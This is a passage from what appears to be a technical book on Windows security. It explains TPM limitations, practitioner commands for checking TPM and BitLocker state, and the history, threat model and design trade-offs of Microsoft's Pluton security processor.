The 2017 ROCA incident is the canonical event for why this matters. In February 2017, Matúš Nemec, Marek Sýs, Petr Švenda, Dušan Klinec, and Vashek Matyáš at Masaryk University [119] disclosed to Infineon a flaw in its RSA key-generation library that drastically reduced the entropy of generated keys and made factoring tractable. The NVD entry for CVE-2017-15361 [120] is precise about scope: "The Infineon RSA library 1.02.013 in Infineon Trusted Platform Module (TPM) firmware... mishandles RSA key generation, which makes it easier for attackers to defeat various cryptographic protection mechanisms via targeted attacks, aka ROCA. Examples of affected technologies include BitLocker with TPM 1.2, YubiKey 4 (before 4.3.5) PGP key generation, and the Cached User Data encryption feature in Chrome OS." The Wikipedia summary [121] reports the team's own estimate that the bug "affected around one-quarter of all current TPM devices globally."

The Estonian e-ID program (about 750,000 cards issued since 2014 [122], all using the affected Infineon chip) had to be re-enrolled. Microsoft published advisory ADV170012 [123] on the same coordinated disclosure date. There is still no scalable revocation mechanism for individual EK certificates: vendor-level revocation breaks every device whose EKpub was issued by that vendor's CA, and ADCS-template OEM-pinning limits scope but does not solve in-scope CA compromise. Pluton centralizes one part of trust (Microsoft as firmware signer); EK certificate issuance for the silicon is unchanged, and supply-chain integrity remains a per-vendor question.

Attestation freshness in zero-trust networks

A TPM Quote proves "this device booted clean," not "this device is currently clean." Microsoft Intune's default device-compliance check-in is on the order of hours; Microsoft Entra's Continuous Access Evaluation documentation [124] specifies the upper-bound numerics: "By default, access tokens are valid for one hour... The goal for critical event evaluation is for response to be near real time, but latency of up to 15 minutes might be observed because of event propagation time."

A 15-minute revocation window for critical events is good. But it propagates signed policy decisions, not fresh TPM measurements. A device that was clean at boot, was compromised five minutes ago, and just made a request now will pass CAE if its existing access token is valid. Closing that window requires either much shorter token lifetimes, runtime attestation (TCG DICE, Project Cerberus), or a hypervisor-mediated re-measurement, and none of them are the TPM.

DPAPI-NG, the CNG-layer successor to classic DPAPI that Windows uses to encrypt secrets to a set of authorization principals, is a useful test case. The DPAPI-NG documentation [125] describes the API as "secure[ly] shar[ing] secrets (keys, passwords, key material) and messages by protecting them to a set of principals." The protection-descriptor grammar [126] permits five descriptor keywords (SID, SDDL, LOCAL, WEBCREDENTIALS, CERTIFICATE) across three logical authorization classes (AD-forest groups, web credentials, certificate-store entries). Notably absent: any literal TPM=true clause. DPAPI-NG can be backed by a TPM-bound CNG key, but the authorization is expressed in principal terms, not in TPM terms. The TPM is a key-residence property, not a policy primitive at this layer: the right architectural choice, but it means TPM-bound DPAPI-NG inherits the freshness limits of whatever principal authorization decides who is currently authorized.

The Pluton political question

Centralizing firmware under a Microsoft-controlled signing authority and update trust root is a deliberate trade-off, not an oversight. The benefit is the patch path: a Pluton firmware vulnerability becomes a Windows Update release rather than a multi-quarter OEM capsule rollout. The cost is that the chip's firmware trust anchor is now Microsoft-controlled, in a way that even the most conservative dTPM is not. The market response in 2022 was openly mixed.

In March 2022, The Register obtained vendor statements [127] from Dell, Lenovo, and HP. Dell's reply was unusually direct: "Pluton does not align with Dell's approach to hardware security and our most secure commercial PC requirements." Lenovo deployed the chip but disabled it: "[ThinkPads] will not support Microsoft Pluton at launch... But ThinkPads introduced in January with AMD Ryzen 6000 processors will include Pluton as it's present in those AMD chips, though the feature will be disabled by default. AMD has provided an option for users to turn the feature on and off." PCWorld followed up [128] with Lenovo's articulated reasoning: "Pluton is disabled by default on 2022 Lenovo ThinkPad laptops using AMD Ryzen PRO 6000 Series processors because that's what Lenovo customers have asked for, the choice to enable or not."

Matthew Garrett, who later contributed the upstream Linux kernel support for the Pluton TPM CRB interface in Linux 6.3 (merged February 2023, released April 2023) [129], published the closest thing to a public engineering analysis of Pluton's controllability. His April 2022 reverse-engineering write-up [130] of the ASUS ROG Zephyrus G14 BIOS documents two firmware-level disable mechanisms on AMD Ryzen 6000 platforms: an x86-firmware "do not communicate" toggle, and a PSP directory entry 0xB BIT36 soft-fuse that "will NOT put HSP hardware in disable state, to disable HSP hardware, you need setup PSP directory entry 0xB, BIT36 to 1." Garrett's caveat is honest: "My interpretation of this is that it doesn't directly influence Pluton, but disables all mechanisms that would allow the OS to communicate with it." It is not a multi-signer proposal. There is no public peer-reviewed proposal for multi-signer or open-source Pluton firmware.

The unresolved engineering question: whether a multi-signer model is feasible without losing the timely-update property that motivated Pluton in the first place. The answer is genuinely unknown. The political question (whether one Microsoft-controlled firmware-signing trust root on the world's PC fleet is the right cost for the Windows-Update patch latency it enables) is no longer a technical argument. It is a procurement-policy and procurement-jurisdiction argument, and high-assurance fleets are deciding both ways.

The TPM was supposed to be the part of the system you didn't have to trust anyone for. Twenty-five years later, the trust question is back, and the answer is now political.

What it means for you: A Windows practitioner’s TPM reference

What does this mean for the engineer running Get-Tpm on Monday morning? Three concrete things: discovery, choosing a form factor, and avoiding the pitfalls.

Discovery

Three commands establish ground truth on any Windows 11 device. Get-Tpm returns presence, ownership, and command-availability state. Get-TpmEndorsementKeyInfo returns the EK public and certificate. tpm.msc opens the Microsoft Management Console snap-in. The TCG event log lives at C:\Windows\Logs\MeasuredBoot\*.log and contains the per-PCR measurement history for every boot. Microsoft's BitLocker page [79] documents the protector model that pairs with the TPM state.

Get-Tpm | Format-List *
tpmtool getdeviceinformation
Get-TpmEndorsementKeyInfo
manage-bde -status C:
manage-bde -protectors -get C:

Read these as a decision tree, not as a compliance badge. A ready TPM tells you Windows has a hardware-rooted storage and attestation surface. The protector list tells you whether the OS volume is bound to that surface, whether recovery is escrowed, and whether the policy is TPM-only, TPM+PIN, or TPM+startup key.

Choosing a TPM form when the OEM gives you a choice

A short decision tree, distilled from the SOTA analysis above:

• Opportunistic theft, low-skill attacker. Default TPM-only is acceptable but not ideal. TPM+PIN with at least 8 random digits mitigates unattended dTPM bus-sniffing and the low-PIN-entropy window on AMD fTPM.
• Determined targeted adversary. TPM+PIN is necessary but not sufficient. Add a startup-key factor or Network Unlock where appropriate (BitLocker's native OS-volume preboot authentication is TPM, TPM+PIN, and startup key, not FIDO2 or smart card), and prefer Pluton or hardened dTPM over commodity AMD fTPM for the device class.
• Compliance-driven. Discrete TPM with EAL4+ / FIPS 140-2 certification is still the easiest procurement story. Verify the OEM has not enabled Pluton-as-TPM if the auditor's checklist requires a discrete chip.
• Cloud workload. Azure Trusted Launch with vTPM [102] is the default for Gen2 VMs and underwrites Confidential VM offerings.
• Surface Copilot+, AMD Ryzen 6000+, Intel Core Ultra 200V, Snapdragon X. Pluton-as-TPM [6] is the OEM default in many SKUs; verify the Pluton firmware is current via Windows Update.

Five common pitfalls

The other four pitfalls in brief: firmware updates change PCR[0] and PCR[7], so suspend BitLocker before applying them; dual-boot Linux extends PCRs differently than Windows, so PCR-only sealing breaks under it, and the remedy is a PCR profile stable across both Secure-Boot-signed OSes rather than the PIN alone; Windows does not enable parameter encryption on the BitLocker boot path, so the actual mitigation against dTPM bus sniffing is preboot authentication, not "TPM hardening"; and Windows Hello for Business can generate keys in hardware if a TPM is available or in software depending on policy [88], so require hardware-backed keys by policy where that matters and periodically check Get-Tpm on enrolled devices. (Margin note: "Anti-hammering" is the persistent rate-limit counter the TPM enforces against authValue and policy-PIN failures. It survives reboots and only resets after a long lockout period.)

Suspend BitLocker before a firmware update

From an elevated PowerShell prompt:

Suspend-BitLocker -MountPoint "C:" -RebootCount 1

The RebootCount 1 argument auto-resumes after the next reboot, which is what you want when the firmware update reboots the device. After the update completes, run Get-BitLockerVolume -MountPoint C: and confirm ProtectionStatus is On again. If you forget, the next boot will land on the BitLocker recovery prompt because PCR[7] no longer matches the sealed policy.

The TPM does exactly what it was designed to do, no more. Which is exactly enough: if you understand what "exactly" means.

Closing

Return to June 24, 2021. The PR backlash about a Trusted Platform Module made the chip visible for the first time to a consumer audience that had owned one for a decade. The technical rationale Microsoft gave was four words long; the actual rationale is the rest of this chapter.

A passive cryptoprocessor designed in 1999 quietly became the load-bearing pillar of half of Windows security. Twenty-five years of engineering refined a single primitive (measure, extend, seal, quote) into something one chip could underwrite. Twenty-five years of attacks, from a $40 FPGA on an LPC bus to a voltage glitch against the AMD PSP, argued empirically about how passive that chip can be allowed to be. The current state of the art is on the CPU die, in Rust, signed by Microsoft, patched through Windows Update, and post-quantum migration is the next argument.

The TPM is not a checkbox. It is the point at which Windows decided integrity must be measurable. It is not a panacea (the runtime-compromised OS still wins once the key is unsealed) but it is a primitive, with a clean boundary. Now you know what it can prove, and what it cannot. The chip is the cheapest part of the system. The cost was twenty-five years of getting it right.

Pluton

The root moves on-die, and the update path becomes the trust

What this link is responsible for

Pluton's job is not to replace every Windows trust mechanism. It is narrower and more important: anchor the earliest Windows trust decisions in a security processor that is harder to physically interpose on and easier to repair after a firmware defect. BitLocker, Windows Hello, measured boot, System Guard, and conditional-access health claims still consume TPM-like services. Pluton changes where those services live and how their implementation is serviced.

The physical change is the easiest to see. In the discrete-TPM design, the CPU asks an external chip for TPM operations across a board-level bus. That bus is a real object. It can be probed. The TPM chapter's threat model (Chapter 2) included the class of attacks demonstrated by Denis Andzakovic: observe the traffic between CPU and TPM during boot and recover material exposed by the protocol timing and integration, even while the TPM's internal cryptography remains intact [78]. Pluton removes that off-package channel. The CPU and the security processor are integrated into the SoC subsystem, so the attack surface shifts from accessible board traces to silicon-internal integration.

The operational change is less visible but at least as important. A dTPM firmware fix normally flows from TPM vendor to OEM, through UEFI capsule packaging and per-model rollout, then to the endpoint. Pluton firmware can be loaded through operating-system updates during Windows startup, alongside the traditional UEFI mechanism for the SPI-resident early image [6]. That turns patchability from a procurement afterthought into a property of the root of trust itself, while preserving a separate early-boot lifecycle. The security processor is allowed to have bugs; the design bet is that Microsoft can shorten the OS-loaded firmware repair path at Windows-update scale.

Those two changes define the link's responsibility:

1. Remove the external TPM bus from the client PC threat model.
2. Expose TPM 2.0 services from an on-die, dedicated security processor.
3. Let Microsoft service the firmware through Windows Update.
4. Preserve key non-exportability and attestation semantics for Windows features that already depend on a TPM.

That list is also the boundary. Pluton does not make the host operating system trustworthy after boot. It does not prevent the volume master key from entering OS memory after BitLocker unseals it. It does not prove that the rest of the supply chain (IP licensing, wafer fabrication, packaging, OEM firmware) was perfect. It gives Windows a stronger silicon anchor and a faster repair path. Everything beyond that must be supplied by other links in the chain.

The question Microsoft answered architecturally before the TPM chapter posed it

"The TPM was supposed to be the part of the system you didn't have to trust anyone for. Twenty-five years later, the trust question is back, and the answer is now political." That was the closing line of the TPM chapter (Chapter 2). The counterintuitive fact: by the time that question was asked, Microsoft had already spent years shipping the architectural pattern inside Xbox hardware.

The Xbox One launched in November 2013 with an on-die, Microsoft-signed security processor and a Microsoft-controlled firmware update path. Microsoft's own announcement seven years later named the lineage explicitly: "the Pluton design was introduced as part of the integrated hardware and OS security capabilities in the Xbox One console released in 2013 by Microsoft in partnership with AMD" [49]. The November 17, 2020 announcement that Pluton would ship on Windows PCs was not the introduction of a new design. It was a decision to apply a console design pattern to the general-purpose PC, with all the political and supply-chain consequences that come with that decision.

The TPM chapter (Chapter 2) ended with three sets of broken engineering. A NZ$40 iCE40 FPGA on an LPC bus defeats discrete TPM in the time it takes a laptop to finish Trusted Boot [78]. A network packet defeats Intel PTT through a 5-hour timing side channel against the ECDSA implementation in CSME [95]. A few hours of physical access defeats AMD fTPM via a voltage glitch on the SVI2 power-management bus, walking out with the entire fTPM internal state [99]. All three are derived bit-by-bit in the TPM chapter and will not be re-derived here.

This chapter is what those three results made compelling. Microsoft's reply is structural: move the TPM onto the SoC die so the board-level bus disappears; run it in a dedicated security subsystem so a PSP/CSME-class shared-TEE compromise is not the same failure; use a Rust-based firmware foundation where Microsoft has publicly committed to one (2024+ AMD and Intel systems); and route OS-loaded firmware through Windows Update so part of the patch path no longer depends only on OEM capsules. Each design choice narrows a specific 2014-2024 attack class. Each design choice also names a new trust. The bus is closed by trusting the silicon supply chain. The TEE is dedicated by trusting Microsoft's chip-level isolation. The 2024+ AMD/Intel firmware foundation is memory-safe by trusting Microsoft's compiler and SDLC. The update path is fast by trusting Microsoft's signing key and Windows Update infrastructure. That is the chapter in five sentences.

Where did the design pattern come from, and why was it ready for the PC in 2020 and not earlier?

Origins: Xbox One (2013), Sopris (2015), seven properties (2017), Cerberus (2017), Azure Sphere (2018)

The November 2020 announcement is retroactive. The design dates to Xbox One in 2013; the name "Pluton" first appears publicly on April 16, 2018, in the "Introducing Microsoft Azure Sphere" launch post [140]. The five-year gap is the architecture maturing from "console-only thing the SoC team built" to "thing Microsoft Research thinks every device should have."

2013, Xbox One

A console adversary has full physical access, unlimited time, and an economic incentive measured in hundreds of thousands of pirated units. Microsoft and AMD co-designed the Xbox One SoC with an on-die security subsystem, Microsoft-signed firmware, and a hardware-enforced separation between the Game OS and the System OS. The 2020 Pluton announcement [49] names the lineage explicitly. The architectural shape that the Pluton-on-PC program would later put under TCG TPM 2.0 wire compatibility was already running in production at consumer-console scale by 2014. The motivation matters because it is the clearest public domain where Microsoft had hands-on experience deploying an on-die security processor against an adversary who owned the hardware. (Note: that the design was driven specifically by RGH-class console-modding adversaries is architectural inference, not a Microsoft statement.)

2015: Codename 4x4 / Project Sopris

In 2015, a small team in Microsoft AI+Research NExT, led by Galen Hunt, began exploring whether the same architectural shape could secure a $4 microcontroller [133]. The internal codename was Codename 4x4: a reference to the technical requirements that the chip would have at least 4 MB of RAM and 4 MB of Flash [133]. The Microsoft Research blog post is the surviving primary source on Sopris [133].

March 2017: Seven properties of highly secure devices

Hunt, George Letey, and Edmund Nightingale published The Seven Properties of Highly Secure Devices as Microsoft Research Technical Report MSR-TR-2017-16 in March 2017 [134]. The paper makes a single normative claim: "This paper makes two contributions to the field of device security. First, we identify seven properties we assert are required in all highly secure devices" [134]. The seven are: hardware-based root of trust, small trusted computing base, defense in depth, compartmentalisation, certificate-based authentication, renewable security, and failure reporting. Property #6 is the one the rest of this chapter turns on. Renewable security via online firmware updates is precisely the property that distinguishes Pluton-on-PC from a 2014 dTPM. The chip is allowed to be wrong, as long as the chip can be made right again, fast.

November 8, 2017, Project Cerberus

Microsoft introduced Project Cerberus at DCD>Zettastructure in London on November 8, 2017. Kushagra Vaid, then Microsoft Azure GM, described the architecture as "a cryptographic microcontroller running secure code which intercepts accesses from the host to flash over the SPI bus (where firmware is stored), so it can continuously measure and attest these accesses to ensure firmware integrity" [135]. Microsoft contributed a five-PDF specification set to OCP under Project Olympus [136]: Architecture Overview, Challenge Protocol, Firmware Update, Host Processor Firmware Requirements, and Processor Cryptography. The reference implementation lives at Azure/Project-Cerberus on GitHub [137]: platform-agnostic core, FreeRTOS and Linux ports, "designed to be a hardware root of trust (RoT) for server platforms" [137]. Microsoft Learn describes Cerberus as "a NIST 800-193 compliant hardware root-of-trust with an identity that cannot be cloned" [138] [139]. This was Microsoft's first public commitment to publishing a hardware-RoT design and to running it in production at fleet scale.

Cerberus matters here for what it cannot do, not what it can. It is a discrete chip. It needs board area, a BOM line, and per-OEM design-in cost. It works on a $20,000 server motherboard. It does not work on a $700 ultrabook, and putting it on one would reintroduce the very external-bus surface that Andzakovic 2019 showed to be sniffable [78]. Cerberus solves the server problem definitively. It does not solve the PC problem, and its existence makes the PC-side need explicit.

April 16, 2018: Azure Sphere preview at RSA 2018

Hunt's announcement of Azure Sphere at the 2018 RSA Conference is the first public, named appearance of "Pluton." The Azure Blog launch post promised "custom silicon security technology from Microsoft, inspired by 15 years of experience and learnings from Xbox, to secure this new class of MCUs and the devices they power" [140]. The later (December 20, 2018) Anatomy of a Secured MCU post is the first technical description: "our Pluton Security Subsystem is the heart of our security story" [132]. Three components, one trust anchor: the MediaTek MT3620 MCU with the Pluton subsystem on die; the Microsoft-managed Linux-based Azure Sphere OS; and the Azure Sphere Security Service (AS3) cloud, which signed firmware updates and consumed device attestations. Microsoft announced Azure Sphere general availability on February 24, 2020 [141]; the Microsoft Security Blog also describes Pluton as "a Microsoft-designed security subsystem that implements a hardware-based root of trust for Azure Sphere" [142].

By April 2018, Microsoft had three architectural pieces visible, but not all were yet generally available. Xbox One proved the on-die security processor in production. Project Cerberus proved that Microsoft could publish an open RoT design and operate the back end at hyperscale. Azure Sphere publicly previewed the Pluton block licensed onto a third-party SoC, attested to a Microsoft-operated cloud service, and serviced over the air; Microsoft announced Azure Sphere general availability on February 24, 2020 [141]. None of those three pieces was on a Windows PC.

Microsoft had a working architecture by 2018. Why did it take until November 17, 2020 to put it on a PC, and what changed between 2018 and 2020 that made the PC mandatory?

The threat model that made Pluton compelling (2019-2024)

The answer to "what changed between 2018 and 2020" is that, beginning in 2019, public research made the weaknesses of common TPM realisations hard to ignore. Not by intention. By research. By the time Microsoft made the November 17, 2020 announcement, Pluton-on-PC was a compelling architectural option because it could close the board-level TPM bus and give Microsoft a faster firmware-patch path; the later faulTPM result sharpened the dedicated-TEE argument. This is the TPM chapter's threat model (Chapter 2), recast as the story Microsoft was watching unfold while the Pluton design was being prepared for PC.

March 13, 2019: Andzakovic's $40 LPC sniffer

Denis Andzakovic, working at Pulse Security, published an end-to-end attack on the Trusted Boot path of an HP business laptop [78]. A NZ$40 iCE40 FPGA, seven wires (LFRAME, LAD0-LAD3, LCLK, GND) soldered to the LPC bus between the CPU and the discrete TPM, the BitLocker Volume Master Key falling off the wire in plaintext during boot. The TPM chapter (Chapter 2) walks the bit-level details. What matters here is that the November 17, 2020 Pluton announcement names this attack class as motivation: "attackers have begun to innovate ways to attack [the TPM], particularly in situations where an attacker can... gain physical access to a PC... target[ing] the communication channel between the CPU and TPM" [49]. Discrete TPM integrations with exposed LPC / SPI traffic are vulnerable against a determined adversary with physical access. The bus is the surface.

November 12, 2019, TPM-Fail

Daniel Moghimi and colleagues published TPM-Fail later in 2019 [95]: timing side channels in the ECDSA implementation in Intel PTT (CVE-2019-11090) and the STMicro ST33 dTPM (CVE-2019-16863). Local key recovery in 4-20 minutes; remote, over the network, in approximately 5 hours. The fixes shipped as firmware patches. The lesson Microsoft took from TPM-Fail is not in the bug, it is in the deploy mechanism. PTT lives in CSME; CSME ships through the OEM's UEFI capsule path. ST33 lives behind the TPM vendor's signed flash and ships through the OEM's UEFI capsule path. The OEM UEFI capsule path is measured in quarters to years for high-volume client OEMs. A fix existed but the deploy mechanism was insufficient. This is the architectural lesson that the next generation has to internalise: the patch path is part of the security property.

April 28, 2023, faulTPM

Hans Niklas Jacob, Christian Werling, Robert Buhren, and Jean-Pierre Seifert published faulTPM: Exposing AMD fTPMs Deepest Secrets at IEEE EuroS&P 2023 [99]. "In this paper, we analyze a new class of attacks against fTPMs: Attacking their Trusted Execution Environment can lead to a full TPM state compromise. We experimentally verify this attack by compromising the AMD Secure Processor" [99]. The mechanism: a voltage glitch on the SVI2 power-management bus, against the AMD PSP (an ARM TrustZone Cortex-A5 inside modern Ryzen SoCs [143]), in 2-3 hours of physical access. The output: the entire fTPM internal state, including the EK and any sealed material.

The structural failure in faulTPM is not the glitch. It is that the PSP is a shared TEE. The same coprocessor that runs the fTPM service also runs SEV memory-encryption setup, secure-boot enforcement, and platform initialization. One fault drops everything. Shared-TEE fTPM is broken because the TEE is shared. The architectural conclusion that this forces is hard: a fTPM that lives next to memory-encryption services, alongside boot-policy enforcement, in a coprocessor that also handles fuse provisioning, is not separable in failure. To restore TEE isolation, you need a dedicated TEE.

The architecture cascade

Three results in five years made Pluton's trade-off look less like novelty and more like risk reduction.

The reasoning chain that lands the design is short. Exposed dTPM buses are sniffable. Shared-TEE fTPM can fail with the TEE. OEM capsule patch paths can leave fixes waiting. Therefore: a dedicated security subsystem on the SoC die, with a deploy channel that is not only the OEM UEFI capsule. That is Pluton-on-PC. On-die is not merely a Microsoft engineering preference; it is the shape that answers these three pressures at once.

If Microsoft had a working on-die-RoT architecture as early as 2013, and the threat model demanded it on PC by 2020, why did Microsoft go through Cerberus and Azure Sphere first? What did each generation contribute that the previous one could not?

Five generations of Microsoft security silicon

Microsoft's path to Pluton-on-PC was not linear. The architecture took shape across five generations of Microsoft security silicon: three direct predecessors, the PC deployment itself, and one parallel path. Each generation contributed a piece the next one needed. The shape of Pluton-on-PC was determined by what Xbox One was, what Cerberus could not be on a client, what Azure Sphere proved at scale, and what Caliptra would later make visible as a choice rather than a technical necessity.

Generation 3: Xbox One on-die security processor (2013)

Existence proof. Microsoft and AMD co-designed the Xbox One SoC with an on-die security subsystem [49]. Console signing key. Hardware-enforced separation between Game OS and System OS. The Xbox One demonstrated, at consumer-console scale, that Microsoft and a chip vendor could ship an on-die security processor that survived a determined adversary with full physical access. Limitation: console-only. No TCG TPM 2.0 wire surface. Microsoft did not commit publicly that this design would ever leave the Xbox.

Generation 4, Project Cerberus (November 8, 2017)

Discrete RoT chip on the server BMC. NIST SP 800-193 alignment [138] [139]. Open spec at OCP [136]; reference implementation on GitHub [137]. Architecturally the inverse of Pluton: external chip, separate flash interception, dedicated authority. That shape is right for a server motherboard. That shape is wrong for a $700 ultrabook. BOM cost, board area, and per-OEM design-in cost rule it out, and reintroducing an external bus would re-expose the very Andzakovic-class surface the program is trying to close. Cerberus is not a rejected design; it is the server-side answer that runs alongside the client-side answer Pluton would later be. The two coexist in the November 17, 2020 announcement, which describes Cerberus as "providing a secure identity for the CPU that can be attested by Cerberus" [49]. Server-side RoT and client-side RoT compose; they do not compete.

Generation 5: Azure Sphere Pluton MCU (April 2018)

The first public, named appearance of "Pluton." MediaTek MT3620 SoC; Linux-based MCU OS; Azure Sphere Security Service in the cloud [140] [132]. "Our Pluton Security Subsystem is the heart of our security story" [132]. Three things became public commitments in 2018 and operationally proven by the 2020 GA milestone [141]. First, Microsoft-designed on-die security IP could be licensed to a third-party SoC and taped out under another vendor's process. Second, Microsoft-operated cloud-side firmware servicing was viable at MCU scale. Third, the Seven Properties mapped cleanly onto the silicon-plus-firmware-plus-cloud triple. Limitation: MCU-class power and instruction set; not Windows; product retiring in 2027.

Generation 6: Pluton on Windows-PC SoCs (November 17, 2020)

The subject of the design-choices section below. Brief hand-off here. Microsoft, AMD, Intel, and Qualcomm announced that the Pluton design would ship on Windows-PC SoCs [49]. AMD Ryzen 6000 was the first Pluton silicon to reach market, announced at CES 2022 with OEM systems shipping later that year [144] [145]. Microsoft Learn currently lists AMD Ryzen 6000 / 7000 / 8000 / 9000 / Ryzen AI; Intel Core Ultra 200V Series, Ultra Series 3, and Series 3; and Qualcomm Snapdragon 8cx Gen 3 and Snapdragon X Series [6]. This is the generation the rest of the chapter lives in.

Generation 7, Caliptra 1.0 (April 2024)

Open-source datacenter Root of Trust. Co-designed by Microsoft, Google, AMD, and NVIDIA. Specification, RTL, ROM, and runtime all public on CHIPS Alliance [146] [147]. "Caliptra targets datacenter-class SoCs like CPUs, GPUs, DPUs, TPUs. It is the specification, silicon logic, ROM and firmware for implementing a Root of Trust for Measurement (RTM) block inside an SoC" [146]. Caliptra is not a successor to Pluton. It is a parallel path, and that distinction is what makes Caliptra structurally important for this chapter: it makes the single-signer choice in Pluton visible as a choice, not a technical necessity. Caliptra exists. The single-signer property of Pluton-on-PC is therefore not the only design that 2024 hardware can support; it is the one Microsoft chose for the client.

The five generations side by side:

What, exactly, makes Generation 6 different from the four generations that came before it, and what new trust does each of its design choices ask the reader to place in Microsoft?

The breakthrough: on-die plus dedicated TEE plus Rust plus Windows Update

The November 17, 2020 announcement [49] is shorter than its consequences suggest. It makes four design choices explicit. Each one closes a specific architectural gap that 2014-2024 had opened. Each one also names a new trust that is now placed in Microsoft. This section walks the four choices, the gap each one closes, and the trust each one creates.

Design choice 1: on-die SoC integration

There is no off-package TPM bus between the CPU and the Pluton block. The November 2020 announcement names this property as the structural answer to the bus-sniffing class: "attackers have begun to innovate ways to attack [the TPM], particularly in situations where an attacker can... gain physical access to a PC... target[ing] the communication channel between the CPU and TPM" [49]. With Pluton, that communication channel is silicon, not a board trace. Andzakovic-class bus sniffers therefore lose the off-package TPM bus they need [78].

The new trust: the silicon supply chain. Microsoft licenses the IP block; AMD, Intel, and Qualcomm tape it out on TSMC or another foundry; the OEM integrates the resulting SoC into a finished product. None of those steps is on the public record at the bit level. (See open problem 5 (supply-chain integrity beyond firmware signing) in the open-problems section below.)

Design choice 2: dedicated TEE, not shared

Public Microsoft documentation describes Pluton as a secure subsystem integrated into the SoC, not as the same coprocessor that runs AMD SEV setup or Intel CSME runtime services [6]. On that public architecture, faulTPM-class attacks on the AMD PSP do not transitively drop Pluton secrets [99], because Pluton-as-TPM is not the PSP fTPM service. The structural failure that defeated AMD fTPM (one fault drops everything because the TEE is shared) does not apply to Pluton-as-Pluton. (AMD-Ryzen-6000-class chips can ship Pluton silicon next to the existing PSP-based fTPM; the OEM picks which the host advertises as the system TPM via the Pluton (HSP) BIOS toggle and PSP-directory 0xB BIT36 soft fuse Garrett 2022 documents [130]. Windows TBS exposes one TPM at a time. On systems the OEM exposes as fTPM, faulTPM-class attacks remain valid; on systems exposed as Pluton-as-TPM they no longer reach Pluton's TPM state.)

The new trust: Microsoft's chip-level isolation engineering. The TEE is dedicated only because Microsoft and the chip vendor agreed to dedicate it. There is no public peer-reviewed audit demonstrating that the Pluton boundary is bit-for-bit non-shared with PSP / CSME on shipping silicon. The independent CHES 2024 study TPMScan [148] [149] sampled 78 TPM 2.0 versions across 6 vendors, and the IACR TCHES record states explicitly that the corpus "include[s] recent Pluton-based iTPMs" alongside dTPM, fTPM, and earlier iTPM variants from Microsoft, AMD, Intel, Infineon, ST, and Nuvoton [149]. The paper's per-vendor findings center on RSA / ECDSA nonce-leakage and command-timing observability across the corpus; the paper does not single Pluton out for a per-implementation audit, and it does not characterize Pluton's specific timing surface as worse or better than the iTPM cohort it sits in. The TPMScan study therefore places Pluton inside the audited iTPM population without singling it out: a useful baseline, not a Pluton-specific clean bill of health.

Design choice 3: Rust-based firmware foundation on 2024+ AMD / Intel

Microsoft Learn states the platform scope explicitly: "Pluton platforms in 2024 AMD and Intel systems will start to use a Rust-based firmware foundation given the importance of memory safety" [6]. On those 2024+ AMD and Intel platforms, memory-safe firmware is a direct response to the firmware-CVE history: TPM-Fail [95], the long Intel ME / AMD PSP CVE backlog, and reference-code defects such as CVE-2025-2884 (worked example below). The class of bug that a memory-safe runtime structurally rules out is large; it is not the entirety of the bug surface (logic bugs survive Rust), and Microsoft has not made the same public Rust statement for Qualcomm or the 2022 AMD Ryzen 6000-era firmware.

The new trust: Microsoft's compiler and SDLC. The chip ships running code that Microsoft authored. Whatever the compiler optimized away, whatever the test suite did not catch, whatever subtle un-unsafe-block reasoning passed code review. That becomes the property of the chip's trust anchor.

Design choice 4: Windows Update servicing path

Microsoft Learn: "Pluton platform supports loading new firmware delivered through operating system updates" [6]. The boot-lifecycle detail matters. The SPI-resident Pluton firmware is loaded during hardware initialization; during Windows startup, the operating system loads the latest valid Pluton firmware if Windows Update has delivered one, otherwise it uses the firmware loaded at hardware initialization; UEFI capsules remain the mechanism that updates the SPI-resident early image [6]. Therefore the architectural fact is narrower than "every boot phase is instantly patched": Windows Update gives Microsoft a dynamic OS-startup firmware-loading path, while pre-OS TPM use on the first boot after an update still depends on the SPI-resident image until the platform's persistence mechanism has advanced. Microsoft has not published a numerical SLA for Pluton firmware delivery; this chapter will not assert one.

The new trust: Microsoft's signing key and Windows Update infrastructure. Whoever can sign valid Pluton firmware for the Windows Update path can, in principle, affect the OS-loaded firmware on every Pluton chip that accepts that channel; the SPI-resident early image remains tied to the UEFI-capsule path Microsoft Learn describes [6]. This is the same trust that already underwrites the rest of Windows; Pluton extends it to the chip itself.

The trust shift, named explicitly

Pull the four choices together. Each narrows a specific 2014-2024 attack class: bus, shared-TEE, firmware-CVE, OEM-capsule patch latency. Each names a new trust placed in Microsoft: silicon supply chain, chip-level isolation engineering, compiler and SDLC, signing key and Windows Update infrastructure. On-die alone is not the breakthrough. The breakthrough is the combination.

The November 2020 announcement also commits to a property beyond TCG TPM 2.0: SHACK. "Pluton also provides the unique Secure Hardware Cryptography Key (SHACK) technology that helps ensure keys are never exposed outside of the protected hardware, even to the Pluton firmware itself" [49]. The TCG TPM 2.0 specification requires that keys be non-exportable from the chip; SHACK extends the boundary one ring inward, naming a class of keys that the firmware running on Pluton itself cannot read. This is Microsoft's claim that Pluton offers a stronger property than the TCG TPM 2.0 spec requires. Verifying that claim from outside Microsoft requires source access Microsoft has not published.

How the chip boots and how the chip gets patched

The boot-and-attest sequence below is the public shape of how Pluton starts and how new firmware reaches it. The exact ROM-to-FMC-to-runtime chain is generic to on-die RoT designs (Caliptra exposes this shape openly in its source [146]); Pluton's specific protocol details are not all on the public record, so the diagram captures the architectural shape rather than a Microsoft-internal protocol.

The detection logic that follows is the structural shape of the Get-Tpm PowerShell query that the checklist section will revisit. It is mocked here to make the four-letter MSFT check explicit while preserving the caveat: MSFT means a Microsoft-backed TPM interface, which can be Pluton on physical hardware or a Microsoft virtual TPM in a VM.

What is actually shipping in 2026? Hardware lists, OEM enablement behavior, vendor pushback that survived from 2022 into 2026: the gap between marketing claim and shipping reality.

Proof on a live machine

Pluton is physical silicon. The lab VM used for this book exposes a host-provided virtual TPM, not a Microsoft Pluton security processor. This chapter therefore uses only 🔵 DOCUMENTED evidence. There are no captured Pluton bytes and no green lab-evidence blocks; only documented-source markers appear.

A reader with Pluton-equipped hardware should verify two separable facts: whether Windows enumerates a Microsoft Pluton security processor under Plug and Play, and whether TPM Base Services is currently backed by a Microsoft TPM manufacturer string. The separation matters because Pluton can be present but not selected as the active TPM, and because virtual TPMs supplied by Microsoft virtualization stacks can also report Microsoft as the TPM manufacturer.

FriendlyName                         Status
------------                         ------
Microsoft Pluton Security Processor  OK
Trusted Platform Module 2.0          OK

The Device Manager form of the same check is: open Device Manager → Security devices and look for the Microsoft Pluton security-processor entry. The exact list depends on whether the OEM exposes Pluton as the TPM or alongside another TPM; the point is to distinguish the security processor's presence from the TPM interface Windows is actively using.

